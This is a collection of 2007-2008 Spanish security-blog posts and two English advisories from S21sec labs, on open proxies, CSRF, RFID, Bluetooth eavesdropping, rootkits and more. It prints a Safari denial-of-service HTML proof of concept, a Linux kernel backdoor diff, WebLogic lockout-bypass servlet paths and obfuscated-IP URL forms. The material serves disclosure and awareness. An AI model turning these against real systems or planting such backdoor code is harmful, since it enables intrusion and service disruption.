Donde los scanners de vulnerabilidades no llegan - VI

Aplicaciones propietarias o poco conocidas

La mayoría de los scanners se basan en bases de datos de vulnerabilidades predefinidas y donde habitualmente solo se cataloga el software utilizado de forma mayoritaria. Si analizamos un software propietario o poco común, el scanner no tiene patrones para trabajar.

Cuando un scanner encuentra un software o una aplicación que no conoce, simplemente se limita a ignorarlo. Esto hace que queden huecos bastantes importantes en la valoración del riesgo que realiza.

Como hemos comentado, hay scanners específicos para aplicaciones Web que intentan cubrir esta deficiencia, teniendo en cuenta que una gran parte de las aplicaciones Web existentes son de desarrollo propietario. Pero no existe el equivalente en el resto de servicios.

http://en.wikipedia.org/wiki/Web_Application_Security_Scanner

Esta limitación es similar a las de otro tipo de herramientas de seguridad basadas en patrones, por ejemplo los Antivirus. Si no existe una labor constante y exhaustiva de mejora y actualización de los patrones de detección el scanner se hace inútil.

Ramón Pinuaga
Departamento de Auditoría

Pinchando la red eléctrica del vecino

Hace tiempo que no teníamos noticias nuevas sobre la tecnología PLC tras el fracaso de su piloto en España y el retranqueo de la compañía promotora en 2007. A raíz de este fracaso, los ingenieros han vuelto a sus tableros para lograr una evolución de esta prometedora tecnología, consiguiendo entre otras cosas mitigar la indignación de los radioaficionados debido a las molestas interferencias que les causaba.

Para la gente de a pie, tampoco ha supuesto un profundo desengaño, ya que su expansión fue reducida. Mientras tanto, una alianza empresarial estaba embarcada en la misión de desarrollar un estándar capaz de proporcionar conexiones de alta velocidad para formar redes locales usando el cableado eléctrico de las viviendas residenciales. La salida de este esfuerzo conjunto se llama HomePlug.

En sus comienzos, HomePlug ofrecía en su versión 1.0 velocidades de hasta 14 Mbps, y mediante parejas de estos dispositivos, permitían la interconexión de dos ordenadores distantes en un domicilio. Esta tecnología compitió directamente con Wi-Fi en su versión "b", con sus 11 Mbps, aunque la movilidad de esta última hizo que ganara a HomePlug. Las especificaciones de HomePlug 1.0 determinaban la necesidad de utilizar cifrado DES (56 bits de clave) para las comunicaciones en la red eléctrica mediante una clave precompartida fijada inicialmente por el fabricante aunque cambiable por el usuario.

Más adelante, e impulsado por el principal fabricante de chips para Home Plug, Intellon, apareció una evolución extraoficial llamada HomePlug 1.0 Turbo, con velocidades de hasta 85 Mpbs, con la misma seguridad DES de la versión anterior. Tuvieron que pasar 4 años para que saliera a la luz en 2005 el estándar HomePlug AV, que promete velocidades de hasta 200 Mbps, suficiente para transmitir video en alta definición sin cortes. Además cuenta con una seguridad mejorada gracias al uso del algoritmo de cifrado de clave simétrica AES con una longitud de clave de 128 bits.

Una de las principales bazas de HomePlug AV frente a la tecnología con la que compite, Wi-Fi "n", es la fácil instalación "enchufar y listo" con una fuerte seguridad de serie, y unas velocidades sólidas sin fluctuaciones que aunque no llegan a esos 200 Mbps teóricos se acercan. Eso sí, la calidad de la instalación de la red eléctrica es crucial para el buen funcionamiento de HomePlug AV.

Es este último estándar el que esperaban como agua de mayo las Telcos orientadas a la banda ancha residencial, con el boom producido por la televisión sobre IP. Gracias a estos dispositivos, ya no es necesario tener el router junto a la televisión, con una sencillísima instalación. Y es esta instalación la que me preocupa, igual que me preocupan que se sigan entregando a día de hoy los routers inalámbricos preconfigurados con claves WEP 128 bits "aleatorias". ¿De qué sirve un supercifrado AES-128 si la clave precompartida es por ejemplo "HomePlugAV"? Desde luego más vale que el vecino común no tenga "amigos" con ganas de tomar prestados unos pocos Kw de su energía y de paso cotillear su tráfico, porque desde luego el CD con el que vienen estos dispositivos, que sirve para cambiar su contraseña precompartida (cómo no, sólo para Windows), se va a quedar en la caja. Vale, es un ataque muy raro, pero la puerta está abierta.

Álvaro Ramón
S21sec labs

Hasta la cocina

No son pocas las empresas y particulares que usan en la actualidad un servidor proxy para dar salida a Internet. Con ello pueden ganar en velocidad de navegación, ya que las páginas más visitadas serán cacheadas por él, y además, éste podrá usarse como filtro de contenidos, que realmente puede que sea lo único que lleve a una empresa a instalarlo. En este caso me estoy refiriendo a un proxy HTTP (aunque también se usen para otros protocolos), pero también existen los que usan el protocolo SOCKS, en sus distintas versiones. Especialmente son estos últimos los que pueden dar más información de la debida si no son configurados correctamente. Esto no es nuevo, ni mucho menos, pero se hace necesario un pequeño recordatorio de vez en cuando a modo de toque de atención.

Pongamos el caso de un internauta curioso que navega por la red de redes y se dispone a probar un proxy SOCKS configurado en su navegador. Además, no sólo eso, sino que le da por enchufar su sniffer favorito para ver la comunicación entre su PC y el proxy. Después de pegar sus ojos a la pantalla y pasar unas cuantas tramas llega a una que le llama la atención. Dentro del protocolo SOCKS que le responde el servidor ve una IP interna. ¿Coincidencia?


Como ya he dicho que el internauta es curioso pone en el navegador esa IP y espera paciente la respuesta. Parece que no hay mucha suerte, por lo que deja entrever el siguiente error en un idioma asiático.


Pero bueno, si esa IP no parece dar ningún fruto, ¿por qué no probar con otras IPs del mismo rango? puede que haya más suerte...


Vaya, vaya, parece ser el acceso interno a la configuración del router, un D-Link DI-804HV. No creo que esto sea una buena política de seguridad...

Pero con el protocolo SOCKS no sólo es posible acceder al puerto 80, sino que teóricamente se podría acceder a cualquier puerto de esa máquina. Usando la librería SocksiPy de Python se tendría la herramienta perfecta para probar la teoría.


Y así, nuestro curioso amigo podría seguir indagando en las posibilidades que le ofrece esa pasarela a la red interna de la empresa X. De hecho, no le costaría demasiado trabajo la programación de un escáner de puertos para explorar todas las máquinas de ese rango, con la intención de descubrir hasta dónde podría llegar...

El problema es que en el mundo no sólo hay internautas curiosos, sino que también pululan a sus anchas algunos que intentarán sacar provecho de esos agujeros de seguridad. Además de instalar un servidor proxy es muy importante configurarlo correctamente y estrictamente para nuestro uso privado, prohibiendo explícitamente que alguien sea capaz de atravesarlo y acceder a nuestra red interna. Este ejemplo es extensible a otros servicios de red, que deben comprobarse meticulosamente antes de ser publicados en Internet; si no, como habéis visto, se nos pueden meter hasta la cocina.

José Miguel Esparza
S21sec labs

¿Vulnerabilidades en usuarios sin privilegios?

La seguridad de las aplicaciones que dan soporte a un negocio son cruciales para su éxito. Por ello, las normas y códigos de buenas prácticas en los sistemas de SGSI, aconsejan la creación y el uso de usuarios con permisos restringidos.

Esto puede resultar en dos problemas con difícil solución:

• Realizar un correcto análisis de la necesidad del negocio en base al perfil del usuario. Es decir, crear roles de acuerdo a los requerimientos de los diferentes perfiles y asignarles privilegios adecuados. Lo que en la práctica no es tan sencillo ni trivial.
  

• Caer en la falsa creencia de que un usuario restringido es menos vulnerable a los problemas de seguridad de las aplicaciones de escritorio.
  

Algunos departamentos de IT argumentan que no es necesario actualizar versiones vulnerables de aplicaciones cliente porque los usuarios que las usan tienen los permiso restringidos y por ello, no pueden ser explotadas. Me vienen a la cabeza unos cuantos ataques a los cuales estos usuarios "sin privilegios" serían vulnerables, pongamos por ejemplo ser carne de botnets, MITM, phishing, csrf y cualquier tipo de malware.

La correcta gestión de usuarios sin privilegios en los SOs es ya de por sí complicada, pero si a eso le unimos contradicciones como permisos de administrador para actualizar software, versiones previas de software actualizado (java), y la heterogeneidad de todas las aplicaciones cliente, nos encontraremos en un escenario caótico donde la única regla será "sálvese quien pueda".

¿Todavía crees que no es necesario actualizar tu versión de adobe reader, java (JRE), quicktime, firefox, realplayer o excel?, sólo por nombrar algunas aplicaciones cliente, aunque bien es cierto que firefox es una de las mejores en cuanto a las actualizaciones automáticas.

Las aplicaciones de escritorio actualmente están siendo objeto de ataques tipo "Drive by download" donde el usuario, a través de una vulnerabilidad en estas aplicaciones se descarga malware sin su conocimiento simplemente por visitar una página web. Luego, siempre nos quedará decir que nosotros no hemos sido.

¿Todavía te crees a salvo con ese usuario sin privilegios?

Emilio Casbas
S21sec labs

Seguridad en el hardware

Hasta hace bien poco nos hemos centrado en la seguridad del software, en donde son (o por lo menos deberían ser) necesarias permanentes auditorías de código que garanticen su fiabilidad. A pesar de ello, hay ciertos aspectos que son difícilmente salvables como es el caso de la reciente polémica suscitada a raíz de un paper donde se demostraba que es posible la extracción de la clave de cifrado de un ordenador con el disco duro cifrado mediante un sencillo procedimiento, por muchas certificaciones de seguridad que tuviera este software.


Trasladándonos a la industria de los videojuegos, podemos ver cómo ya hace algún tiempo los fabricantes se han tomado en serio este tipo de problemática (si bien es cierto, con una descarada presunción de culpabilidad hacia el usuario), y han tomado serias medidas con el fin de evitar la ejecución de copias piratas en sus productos de última generación. Así, el gigante Sony optó por añadir una capa de virtualización mediante el uso de un hipervisor unido a unos mecanismos hardware integrados a bajo nivel (CPU/chipset) y a un firmware reprogramable con memoria flash. Gracias a ello, borró de un plumazo la problemática de que alguen pudiera acceder al bus de datos y direcciones de la consola de forma directa o indirecta (mediante interfaces JTAG, por ejemplo).

Poco a poco, la informática de consumo va adoptando estas medidas tan innovadoras, y la seguridad se va confiando a dispositivos criptográficos basados en hardware, como los archiconocidos chips TPM, de los que hay incluso planes de integrar en el propio chipset de las placas base. Gracias a este tipo de chips, que aceleran el cifrado de datos al vuelo gracias a su grado de especialización (como los discos duros FDE), es posible conseguir un elevado grado de robustez frente a la fuga de claves de cifrado.

Todo suena muy bonito, confiamos al hardware, algo en principio mucho más difícil de sabotear, las labores críticas de cifrado para los datos procesados en un ordenador y, de paso, aquellos que viajan por la red. Pero leyendo este artículo uno se da perfecta cuenta de que se está en mano del buen hacer de la industria de semiconductores, confiando en que no tengan la mala intención de falsificar un diseño de un fabricante de chips en una fábrica clandestina con el fin de abrir un agujero en la seguridad de nuestros equipos.

Para más inri, los semiconductores se fabrican en masa, mediante un proceso en el que se queda irreversiblemente grabado un circuito de silicio. Si este "fallo" es trasladado a esta fase, ya es muy difícil y costoso echar atrás la fabricación. Estamos por tanto confiando nuestra seguridad cada vez más a empresas subcontratadas que fabrican los dispositivos que mantendrán a buen recaudo nuestros más preciados datos.

Es cierto, existen alternativas como los FPGAs o incluso microprocesadores reprogramables como los ya olvidados Transmeta que tuvieron su momento de gloria cuando Linus Torvalds trabajaba allí. El problema parece ser que el coste actual de estos FPGAs es sensiblemente superior al de los clásicos semiconductores no reprogramables, al tiempo que tampoco supuso un reclamo lo suficientemente atractivo como para que los gigantes del silicio (Intel y AMD) se hicieran con Transmeta. Además, el factor humano sigue estando presente en el desarrollo de hardware reprogramable, con lo que poco se gana, salvo que la empresa que lo fabrica esté dispuesta a admitir un fallo de diseño y lo corrija. Como guinda de este paranóico pastel, me gustaría acabar con una pregunta abierta ¿y qué pasaría si los gobiernos tuvieran "despistes" a la hora de validar los chips que se integran en los equipos de sus ciudadanos? ¿y entre los gobiernos? La polémica está servida.

Álvaro Ramón
S21sec labs

Ataques CSRF: -Yo no he sido-

Investigadores forenses que no estén familiarizados con este término pueden ser testigos de ver como su acusado afirma "Yo no me descargué ese fichero, he sido víctima de un ataque CSRF".

Actualmente no sólo basta con ver la cache del navegador, el historial de navegación de un cliente o mostrar los logs de un proxy para afirmar que se descargo tal fichero/película o visitó la página web X.

"A CSRF attack forces a logged-on victim's browser to send a pre-authenticated request to a vulnerable web application, which then forces the victim's browser to perform a hostile action to the benefit of the attacker. CSRF can be as powerful as the web application that it attacks."
Owasp Top Ten 2007 -CSRF-

Los acusados de descargarse material Ilegal en Internet pueden argumentar ser víctimas de este tipo de ataque, lo que para un investigador forense será difícil demostrar, ya que este tipo de ataque lo realiza el mismo usuario (víctima) sin ser consciente de ello. Queda mucho trabajo por hacer en el campo de la seguridad web mientras salgan a la luz ataques y vulnerabilidades web descubiertas en el año 2001.

Emilio Casbas
S21sec labs

S21SEC-040-en: Infinite invalid authentication attempts possible in BEA WebLogic Server

##############################################################

- S21Sec Advisory -

##############################################################

Title: Infinite invalid authentication attempts possible in BEA WebLogic Server
ID: S21SEC-040-en
Severity: Medium
Scope: BEA Weblogic
Platforms: All
Author: rpinuaga@s21sec.com
URL: http://www.s21sec.com/avisos/s21sec-040-en.txt
Release: Public



[ SUMMARY ]

It's possible to launch a credentials brute force attack against known
users through an internal servlet that permits the bypass of the user
locking mechanism.


[ AFFECTED VERSIONS ]

The vulnerability was confirmed on:
7.0sp6
8.1sp4
9.0sp2

Versions 6 and previous are not vulnerable.


[ DESCRIPTION ]

BEA WebLogic Server is the world leading application server software.

To avoid credential brute force attacks, Weblogic server have a locking
mechanism that lock the corresponding account after some invalid login
attempts.

The default lock shots if 5 invalid login attempts were made. The lock
remains 30 minutes.

S21SEC has found that exists an internal servlet that allow the guess of
valid credentials even if the attacked account is locked.

This allows infinite invalid authentication attempts against an account.
When the correct credentials are guessed, it's only needed to wait for the
account to unlock and then logon into the server.

The affected servlet is:

/wl_management_internal1/LogfileSearch (Version 7 & 8)
/bea_wls_diagnostics/accessor (Version 9)


[ WORKAROUND ]

BEA has released an advisory about this vulnerability. Updates and more
information are available at Bea website:

http://dev2dev.bea.com/pub/advisory/271

[ ACKNOWLEDGMENTS ]

This vulnerability has been found and researched by:

Ramón Pinuaga Cascales


[ REFERENCES ]

http://dev2dev.bea.com/pub/advisory/271

¿Tomamos en serio la virtualización? (III)

Al hilo de las noticias anteriores relacionadas con las seguridad en entornos virtuales (parte I, parte II), ha salido una vulnerabilidad en VMware que permite el acceso desde una máquina virtual Windows (guest) a crear y modificar ficheros en la máquina real (host) si se usan las carpetas compartidas (Core Security dixit).

No me extrañaría ver dentro de poco a malware capaz de explotar esta vulnerabilidad afectanado a todos los profesionales de la seguridad que se dedican a analizar malware en máquinas virtuales, o a la gente que utiliza una máquina virtual para otro tipo de cosas. ¿Existe algún virus que sea capaz de infectar ficheros dentro de una máquina virtual desde el host?

¿Cómo gestionáis la actualización de software de virtualización cuando las máquinas virtuales que corren están en producción?

David Barroso

S21sec labs

¿Qué haces hijo? -Estudiar matemáticas papá-

...mientras tanto, al otro lado de la habitación...

Si ahora convierto 216.163.137.3 a binario obtengo 11011000 10100011 10001001 00000011 ahora lo transformo a decimal y me queda 3634596099 que pasándolo finalmente al sistema hexadecimal ya tengo d8a38903, esto es, http://0xd8a38903

-----------

Existe gran cantidad de información disponible sobre esta técnica de ofuscación de urls aprovechándose del desconocimiento de su estructura, pero, ¿cuál es la base de todo esto?. Gran parte, se debe a las diversas implementaciones que se realizan a partir de una especificación estándar.

Sección 7.4 del RFC3986
[..]

Adding further to the
confusion, some implementations allow each dotted part to be
interpreted as decimal, octal, or hexadecimal, as specified in the C
language (i.e., a leading 0x or 0X implies hexadecimal; a leading 0
implies octal; otherwise, the number is interpreted as decimal).

These additional IP address formats are not allowed in the URI syntax
due to differences between platform implementations. However, they
can become a security concern if an application attempts to filter
access to resources based on the IP address in string literal format.

[...]

Se podría tratar como un viejo y conocido bug en múltiples navegadores que interpreta erróneamente los nombres de host numéricos como direcciones IP.

El caso es que, hasta ahora, este tipo de ambigüedades venía siendo explotada por spammers y phishers como método de ofuscación de urls. Pero últimamente, se está viendo su uso por jóvenes en grandes ISPs con sistemas de filtrado de contenidos. ¿Quién dijo que las matemáticas no servían para nada?

Afortunadamente, parece que este tipo de debilidad, será reforzada o solucionada de alguna manera a partir del nuevo borrador para la seguridad del protocolo http, del cual ya indicamos su existencia anteriormente.

"Many users do not understand the construction of URIs [RFC3986], or their presentation
in common clients [...]. As a result, forms are extremely vulnerable to spoofing."

Mientras esto llegue, podremos seguir viendo urls como:
http://216.0xa3.137.3/
http://216.10717443/
http://0xd8a38903/
http://033050704403/

Lo de los jóvenes saltándose sistemas de filtrado a través de esta técnica podría quedar como mera anécdota si lo comparamos con los riesgos actuales de XSS y CSRF, más peligrosos de lo que la gente quiere creer.

Emilio Casbas
S21sec labs

Seguridad: mitos de ayer, excusas de hoy

Actualmente, no hay semana que pase en la que no veamos una noticia relacionada con nuevas amenazas web, malware, phishing, perdidas de datos, usuarios descuidados, revelaciones de datos confidenciales etc.

Por ello, aunque a modo general, parece que el concepto de seguridad está empezando a tomarse en serio por el usuario medio, lo cierto es que aún, una vasta mayoría, todavía subestima la importancia de estas medidas o tienen ideas equivocadas.

Actualmente, el grado de sofisticación de los ataques en Internet o directamente a los usuarios, roza ya lo irreal. Y esto, es algo que no va a parar de crecer, mientras exista detrás todo un mercado negro con una gran infraestructura establecida.


Los usuarios deben ser conscientes de ello, pero haría falta mucha educación y sensibilización, cosa que no siempre está al alcance de todos, o no se está por la labor. Tambien observamos cómo los usuarios creen que estan a salvo y fuera de peligro porque creen en mitos que ya no son ciertos actualmente y los ponen como excusas poniendo en peligro su seguridad por el desconocimiento ¿de qué mitos hablamos?:

1. No tengo nada importante en mi equipo.
   
   • Cuestión: No se trata de lo que tengas o no tengas en tu equipo. Se trata de lo que pueden hacer a través de él.
     
   • Solución: No digas "me da igual".
2. Utilizamos scp para transferir ficheros en la red.
   
   • Cuestion: Aunque se usen algoritmos de cifrado y una longitud de clave apropiada, sólo estas seguro seguro desde un punto al otro.
   • Solución: ¿dónde se transmiten los ficheros? ¿quién tiene acceso? ¿se realiza backup de esos ficheros? ¿es necesario? ¿cual es la política de backup?. En cuantos más sitios residan los datos, más difícil es protegerlos.
3. Estamos detrás del Firewall de nuestra empresa o casa.
   • Cuestión: Esta puede ser la excusa más típica, los usuarios se sienten a salvo trás esa "máquina" que les protege. Con las amenazas actuales, los firewall de red e IDS no son suficientes.
   • Solución: La seguridad necesita combatirse a varios niveles. El firewall de red es simplemente uno de esos níveles. El usuario necesita herramientas de seguridad en su propio equipo que le avisen cuando algo ocurre, y explorar la red con navegadores fiables y seguros.
4. Para las transacciones online sólo me fío de los sitios con https.
   
   • Cuestión: Ya hablamos de esa falsa sensación de seguridad.
   • Solución: Concienciación del usuario, experiencia y un sexto sentido.
5. Utilizo un sistema operativo que no necesita antivirus.
   • Cuestión: Cual, ¿Mac?, ¿GNU/Linux?, ¿Windows?.. Los mayores peligros hoy día son multiplataforma, no importa qué SO utilicemos. ¿Se os ocurre cómo un simple rootkit podría introducirse en usuarios de Windows/Linux y MacOS?. Sí ampliamos el concepto de rootkit que tenemos hoy día para ir más alla del S.O como objetivo de éste, podremos verlo en una extensión de firefox por ejemplo.
   • Solución: Muchos abogan por tener un navegador para el ocio y otro para realizar transacciones en Internet, pero no resultaría algo cómodo para el usuario. Hay que buscar nuevas soluciones para las nuevas amenazas.
     

Recuerda, la seguridad es el proceso de mantener un nivel aceptable del riesgo que se percibe, no hay que vivir en un constante estado de paranoia, pero tampoco debemos poner como excusas de nuestra seguridad mitos de ayer que no valen hoy. Al final, todo es cuestión de confianza.

Emilio Casbas
S21sec labs

Wii exploit

El mundo de las consolas de videojuegos está cambiando continuamente. Han pasado de ser elementos aislados en la casa de su feliz consumidor a elementos interconectados a Internet capaces de interactuar a través de la red. De todas las consolas de última generación actuales la que más difusión está teniendo es la Wii.

Pues bien, ni siquiera un mundo tan cerrado como este se libra de exploits. Se ha descubierto recientemente un exploit capaz de ejecutar código privado dentro de la consola Wii. No es una vulnerabilidad peligrosa que pudiera ser explotada a través de Internet, pero sí que puede ser un comienzo para futuras versiones.

El exploit consiste en modificar el código almacenado dentro de una partida guardada de un conocido juego. No es una tarea sencilla ya que cada partida guardada almacena tres campos de datos:

• La partida guardada cifrada.
• Una firma de la partida guardada, usando la clave privada de la consola.
• Una copia de la clave pública de la consola.

Por lo tanto es necesario conocer los datos de la clave pública y privada de la consola a ser atacada para poder inyectar el código dentro de los datos. Una vez modificados esos datos es posible la ejecución de código privado, aunque muy pocas líneas de código, por lo que de momento no es muy peligroso.

Una vez conocido todo el proceso, no representa un gran riesgo para el usuario final, pero las consolas de hoy en día están conectadas a Internet, e incluso son utilizadas para navegar, y la posibilidad de poder ejecutar código malicioso las hace potencialmente vulnerables.

¿Qué pasaría entonces?

José María Arce Guillén
S21sec labs

Doctor…¡oigo voces! (a través del Bluetooth)

La escucha de comunicaciones realizadas a través del protocolo Bluetooth se considera algo muy difícil debido a los mecanismos de seguridad implícitos en el mismo. El protocolo Bluetooth dispone de codificación a nivel de enlace, con una clave de 128 bits. Sin embargo, en entornos académicos se ha demostrado que esta clave puede ser vulnerable si se captura el intercambio de claves que tiene lugar en el “emparejamiento” de dispositivos Bluetooth.

Por otro lado, pese a disponer de dicha clave, el protocolo Bluetooth presenta otras dos grandes barreras a nivel físico que incrementan su seguridad. La primera es que emite cada paquete en una frecuencia diferente, y salta 1600 veces por segundo. La segunda es un procesado que se hace de los datos a nivel de bit para evitar cambios en la energía DC emitida (conocido como“data whitening”).

Por último, la máxima distancia para la que se diseño este protocolo es de 100 m para los dispositivos de clase 1. Sin embargo, con ayuda de antenas direccionales se pueden alcanzar distancias que superan ampliamente el kilómetro, como ya nos demostraron en su día los chicos de Flexilis.

Así que, aunque el protocolo aún resulta bastante seguro en cuanto a escucha ilegítima de comunicaciones, existen otros tipos de ataques documentados y herramientas software disponibles, como recoge de manera excelente el grupo de expertos Trifinite.

Ellos son también los creadores del famoso programa Carwhisperer , en el cual, se aprovecha que la mayoría de los dispositivos audio o “manos libres” que funcionan con Bluetooth, llevan implícito el pin “0000” o “1234”, lo que han querido denunciar con la creación de este programa. Una vez más, gran parte de la seguridad diseñada por los expertos, se ve después despreciada en bien de la facilidad de uso del aparato u otras causas de índole comercial. A su vez, como es éticamente correcto, los creadores del programa han suministrado a la industria una guía de buenas prácticas para evitar esta debilidad.

En definitiva, por medio del programa Carwhisperer, y una antena direccional, una vez establecida la asociación con un dispositivo manos libres, se puede recoger remotamente el audio que está captando el micrófono sin que el usuario final sea consciente. Por otro lado, así como es posible capturar el sonido que recibe el micrófono, también es posible inyectar audio en los auriculares, con lo que se puede conseguir crear una confusión bastante impactante. En este video del consultor de seguridad Joshua Wright se puede ver una demostración práctica de su uso.

Así que, si te gusta pasearte con el “pinganillo” en la oreja, y te parece que estás oyendo voces, antes de ir al médico, prueba a quitártelo primero, ¡no sea que hayas sido victima de un ataque con Carwhisperer!

Jon Asín

S21sec labs

RFID comprometido

Aunque no es novedad nuestra preocupación por la poca concienciación de los fabricantes en materia de seguridad a la hora de crear nuevos dispositivos RFID en una industria incipiente y con enorme potencial, recientemente salieron a la luz en la 24 edición del "Chaos Communication Congress" los esfuerzos de un trabajo de investigación que pone en entredicho la seguridad de los tags RFID de Mifare en su modalidad "Classic" (con capacidades de 1Kb y 4Kb) con autenticación y cifrado del tráfico de datos intercambiado por el inherentemente inseguro medio aéreo.

En paralelo a este importante suceso, cabe destacar las vulnerabilidades que dos estudiantes de la Universidad de Amsterdam encontraron en el sistema de cobro de tarifas sin contacto y desechable del metro de su ciudad (se emplea Mifare Ultralight, que carece de autenticación y cifrado de las comunicaciones), llamado "OV Chipkaart", el pasado Julio de 2007, comunicándolo a la empresa responsable de la explotación del sistema inalámbrico. Sin embargo, recientemente se ha conseguido romper de nuevo su revisada seguridad mediante un sencillo ataque de repetición haciendo uso de las posibilidades de emulación que ofrece un amplio abanico de hardware RFID cuyos esquemas están disponibles al público: RFID Guardian, OpenPICC o Proxmark III.

La trascendencia de estos trabajos ha hecho que de momento no salga a la luz pública información sobre estos asuntos en profundidad, ya que actualmente el sistema RFID de Mifare es empleado por millones de personas en escenarios de cobro de tarifas de transporte público o control de accesos (que se supone son una evolución de los sistemas RFID clásicos de baja frecuencia) utilizados en empresas o en el mercado doméstico (vehículos y domótica) en todo el mundo. De hecho, las repercusiones de estas recientes investigaciones se empiezan a notar a nivel gubernamental en Holanda, existiendo un cierto miedo a un hipotético caos general que puedan provocar estas vulnerabilidades en malas manos, así como la difícil justificación del cambio de otros modelos de pago de tarifas que llevan tiempo en funcionamiento (como las tarjetas de banda magnética o las tarjetas chip) y de los que se conoce el riesgo implícito a su tecnología.

De hecho, ahora mismo esta teniendo lugar una sesión palamentaria "Tweede Kamer" en Holanda para hablar de la tarjeta de transporte del país. Parece que tras hacerse pública esta noticia ayer mismo, un grupo de partidos políticos holandeses se estan oponiendo al futuro despliegue generalizado de la versión de la tarjeta recargable con tecnología RFID.

Es interesante hacer una pequeña reflexión sobre lo ocurrido, que no deja de ser una consecuencia del ya demostrado inútil empeño que pone la industria en basar su seguridad en el "security through obscurity" (seguridad mediante la oscuridad). Mientras los esfuerzos fuera del ámbito empresarial productor de semiconductores se centra en potenciar la creación de una I+D+i en la que las universidades participen e innoven con algoritmias que mejoren la seguridad y eficiencia de estos pequeños dispositivos con importantes restricciones en potencia y consumo, la industria sigue reticente y esceptica a escuchar, colaborar y adoptar todo este trabajo que no traería más que beneficios para todos.

¿Hasta cuándo tendremos que esperar para que las empresas tecnológicas de este tipo se percaten de que van por el camino equivocado a la hora de abarcar la seguridad de sus dispositivos desde una óptica ocultista? ¿Optarán por presionar a los gobiernos en pro de una dura legislación que transforme en ilegal las labores de auditoría de este tipo de dispositivos y criptosistemas cerrados, muchas veces llevados por grupos universitarios de investigación con nula malicia?

Álvaro Ramón
S21sec labs

S21SEC-039-en: Safari 2 Denial of Service

##############################################################

- S21Sec Advisory -

##############################################################

Title: Safari 2 Denial of Service
ID: S21SEC-039-en
Severity: Medium - Remote DoS
History: 15.Jul.2007 Vulnerability discovered
22.Jul.2007 Vendor contacted
27.Jul.2007 Vendor confirmed the vulnerability
26.Oct.2007 Safari 3 in Leopard
14.Nov.2007 Safari 3 in Tiger

Scope: Remote Denial of Service
Platforms: OSX
Author: David Barroso (dbarroso@s21sec.com)
URL: http://www.s21sec.com/avisos/s21sec-039-en.txt
Release: Public


[ SUMMARY ]

According to Wikipedia, Safari is a web browser developed by Apple Inc. and included in Mac OS X.
It was first released as a public beta on January 7, 2003, as the default browser
in Mac OS X v10.3. A beta version for Microsoft Windows was released for the first time on
June 11, 2007 with support for Windows XP and Windows Vista


[ AFFECTED VERSIONS ]

Following versions are affected with this issue:

- Safari Version 2 (MacOSX Version)


[ DESCRIPTION ]

A crafted HTML page can make Safari crash when trying to parse the page due to an unproper validation in the KHTML Webkit.

Example:

<html>
<head>
<title>Safari Exploit</title>
</head>
<body>

<form>
<div id="foo" style="display:none;">
<table>
<tr>
<td></td>
</tr>
</table>
</div>
<input type="text" />
</form>
</body>
</html>

[ WORKAROUND ]

The vulnerability was patched in Safari 3, officially released on October, 2007 (Leopard) and November, 2007 (Tiger).


[ ACKNOWLEDGMENTS ]

This vulnerability have been found and researched by:

- David Barroso S21sec labs


[ REFERENCES ]

* Wikipedia. Safari
http://en.wikipedia.org/wiki/Safari_%28web_browser%29

* Safari
http://www.apple.com/safari/

* S21Sec
http://www.s21sec.com

* Blog S21sec
http://blog.s21sec.com

Cuestión de confianza

Siempre se escucha que Linux es más seguro que Windows, que no hay virus, que al ser libre hay mucha gente que revisa el código, que el diseño de los usuarios y privilegios dificulta que se extiendan, y otros comentarios por el estilo. Lo cierto es que es hay pocos virus, muchos son pruebas de concepto (incluso se desinstalan si se le pide educadamente) y ninguno ha conseguido propagarse eficientemente, con lo que ese riesgo es prácticamente inexistente.

Una de las posibles fuentes de infección masiva, viene del hecho de que el código fuente esté accesible. Una puerta trasera introducida en el código, en caso de pasar desapercibida, podría llegar a miles de usuarios a través de los repositorios de las distintas distribuciones. Estos usuarios confían en el software compilado y firmado por una de estas fuentes oficiales. Normalmente, hay unos pocos desarrolladores que pueden modificar el código o aplicar parches que proponen terceras personas, siempre después de revisarlos, por lo que no es fácil que esto suceda. Por ejemplo, hace unos años hubo un intento de instalar una puerta trasera en el propio kernel de Linux. Eran tan solo 2 lineas:

+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;

Es fácil ver que en (current->uid = 0) no se está comparando current->uid con 0, sino que se se está asignando. Después de este cambio, llamando a la función sys_wait4() con los flags __WCLONE y __WALL, se obtenían permisos de root. En realidad, el código se modificó en una copia del repositorio que contiene el código del kernel y no llegó a publicarse al detectarse a tiempo.

El riesgo de que se introduzca una puerta trasera es bajo, pero es posible, al igual que los bugs pasan desapercibidos y acaban en el usuario. Obviamente, es imposible revisar el código de todo el software que utilizamos (a veces incluso no tenemos esa posibilidad) y tenemos que confiar más o menos en quien desarrolla y distribuye el software. Bueno, siempre nos podemos fiar del código escrito por nosotros mismos, o quizás no.

Patxi Astiz
S21sec labs

MBR Issues

El MBR o Master Boot Record es el primer sector de un dispositivo de almacenamiento de datos, aunque generalmente es usado como el sector de arranque. Pues bien, hace un tiempo se descubrió un virus que utilizando técnicas de rootkit conseguía salir “ileso” de las protecciones de Vista y de los antivirus. Aunque se sospechaba que ya estaba solucionado, se ha descubierto una nueva oleada de equipos infectados a finales del pasado año 2007.

El problema consiste en que en los sistemas Windows NT (incluidos XP y Vista) el usuario es capaz de modificar el MBR del disco. Esto implica una serie de ventajas:
• Control total del sistema de arranque de la máquina anterior a que el propio sistema operativo arranque.
• El rootkit no necesita un fichero, está almacenado en algunos sectores del propio disco y no puede ser borrado como un fichero convencional.
• El rootkit no necesita ninguna entrada en el registro del sistema operativo, ya que es ejecutado por el MBR loader.
• Para ocultarse solo necesita unos pocos sectores del disco.

Se puede consultar más información de la página del GMER, en la cuál se comentan las virtudes y el funcionamiento más detallado de este tipo de ataques.

Aunque se ha utilizado para atacar sistemas Windows también podría explotar vulnerabilidades en otros sistemas operativos.

José María Arce Guillén
S21sec labs

IPv6 Bug in Linux Kernel

IPv6 is seen as much more secure than its parent IPv4. Mainly because security features like IPsec are a mandatory part of the protocol - well backported and tested also in IPv4 environments.

The design goals and features like security aspects are one part of the conversion of each protocol. Another important one is how the defined functionality is implemented. This is very depending on the operating system and lastly on the developers who make it.

IPv6 is a complex protocol including lots of mechanisms to provide autoconfiguration for IP addresses and many other things. Thus it is clear that in the implementation of it there is also the possibility of failures.

During the research on IPv6 security S21sec has spotted a kernel bug which is exploitable in a way, that if an attacker sends a malformed IPv6 jumbo packet a remote machine will crash.

The reason is that if the kernel receives a malformed IPv6 jumbo packet - he will drop the packet and try to write some statistics. In the affected kernel versions it is not assured that the structure which provides the information is correctly initialized - resulting in a kernel crash.

